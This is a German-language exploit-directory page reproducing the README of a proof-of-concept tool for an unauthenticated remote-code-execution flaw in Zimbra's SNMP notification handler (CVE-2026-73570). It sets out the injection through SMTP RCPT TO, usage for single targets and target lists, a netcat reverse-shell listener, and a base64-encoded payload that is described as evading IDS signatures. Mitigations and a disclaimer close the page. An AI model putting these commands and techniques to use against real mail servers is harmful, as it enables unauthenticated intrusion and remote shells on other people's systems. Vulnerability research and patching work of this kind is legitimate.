Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-73570 — Zimbra SNMP-Benachrichtigung OS-Command-Injection — Nicht authentifizierte RCE über SMTP-Exploit (PoC) | Kitploit
Tools/GitHubGitHub/gabrielunknown/cve-2026-73570
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP-Benachrichtigung OS-Command-Injection — Nicht authentifizierte RCE über SMTP-Exploit (PoC)

Repository anzeigen
41105vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-73570 — Zimbra ZCS SNMP-Benachrichtigungs-RCE-Exploit (PoC)

Nicht authentifizierte Remote-Code-Ausführung über OS-Command-Injection im SNMP-Benachrichtigungs-Handler der Zimbra Collaboration Suite.


Überblick

FeldWert
CVECVE-2026-73570
CVSS 3.18.9 HOCH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Unsachgemäße Neutralisierung spezieller Elemente, die in einem OS-Befehl verwendet werden
BetroffenZimbra ZCS < 10.1.20 (mit installiertem zimbra-snmp)
Behoben inZCS 10.1.20 — Juli 2026
CISA KEVHinzugefügt am 2026-08-21 (FCEB-Behebungsfrist: 2026-08-24)
Authentifizierung erforderlichKeine
Ausführung alszimbra-OS-Benutzer

Ursache

Das optionale Paket zimbra-snmp enthält eine swatchdog-Regel, die /var/log/zimbra.log auf Zeilen überwacht, die folgendem Muster entsprechen:

Service status change: <NAME> changed from <STATE> to <STATE>

Wenn eine Übereinstimmung gefunden wird, übergibt swatchdog das erfasste Feld <NAME> direkt an das SNMP-Benachrichtigungs-Shellskript ohne jegliche Bereinigung.

Ein nicht authentifizierter Angreifer kann einen manipulierten Log-Eintrag einschleusen, indem er einen speziell geformten SMTP-RCPT TO-Befehl sendet. Unter Verwendung eines RFC-5321-quoted local-part werden Shell-Metazeichen — z. B. $(...) — innerhalb von <NAME> eingebettet und ausgeführt, wenn swatchdog die resultierende Log-Zeile verarbeitet.


Voraussetzungen

Alle drei Bedingungen müssen auf dem Ziel erfüllt sein, damit die Schwachstelle ausnutzbar ist:

  • Das Paket zimbra-snmp ist installiert
  • SNMP-Benachrichtigungen sind aktiviert (snmp_notify = true)
  • Der Dienst swatchdog läuft

Angriffsablauf

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Verbinde dich mit Port 25 / 465 / 587.
  2. Sende eine standardmäßige SMTP-Konversation mit dem weaponisierten RCPT TO.
  3. Zimbra protokolliert die Adressdaten unabhängig von Annahme/Ablehnung.
  4. swatchdog gleicht das Log-Muster ab und extrahiert das injizierte $(CMD).
  5. Der SNMP-Handler führt CMD als zimbra-OS-Benutzer aus.

Exploit

Voraussetzungen

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

oder über apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

oder über yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Einzelziel

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Zielliste

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — ein Host pro Zeile, optional :port, Zeilen, die mit # beginnen, werden ignoriert:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

Alle Optionen

FlagLangStandardBeschreibung
-H--host—Einzelner Ziel-Hostname oder IP
-f--file—Datei mit Zielliste
-p--port587Standard-SMTP-Port
-r--rhost—Ihre IP für den Reverse-Shell-Callback
-R--rport4444Listener-Port
-t--timeout15Socket-Timeout in Sekunden
-S--sslausDirektes TLS (automatisch aktiviert auf Port 465)
-v--verboseausVollständigen SMTP-Dialog ausgeben
-L--logfile—Sitzungsprotokoll in Datei schreiben
-h--help—Hilfe anzeigen

Vollständiges Beispiel

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Payload-Technik

Der Reverse-Shell-Befehl wird vor der Injektion base64-kodiert:

echo <b64>|base64 -d|bash

Dies verhindert, dass IDS/IPS Klartext-Signaturen wie /dev/tcp, bash -i oder nc -e erkennen. Der kodierte Blob wird als $(...) innerhalb des in Anführungszeichen gesetzten Local-Parts von RCPT TO eingeschleust und löst serverseitig eine Ausführung aus, wenn swatchdog den Log-Eintrag verarbeitet.


Gegenmaßnahmen

MaßnahmeDetail
PatchUpgrade auf Zimbra ZCS ≥ 10.1.20
SNMP-Benachrichtigung deaktivierenzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Paket entfernenapt remove zimbra-snmp / yum remove zimbra-snmp
NetzwerkkontrollenEingehendes SMTP (25/465/587) auf vertrauenswürdige Relays beschränken, sofern betrieblich machbar

Referenzen

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich für autorisiertes Sicherheitstesting, akademische Forschung und defensive Zwecke veröffentlicht.
Die Ausführung gegen Systeme, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche schriftliche Genehmigung besitzen, ist illegal.
Der Autor übernimmt keine Haftung für jeglichen Missbrauch oder Schaden, der durch dieses Tool verursacht wird.


Tool herunterladen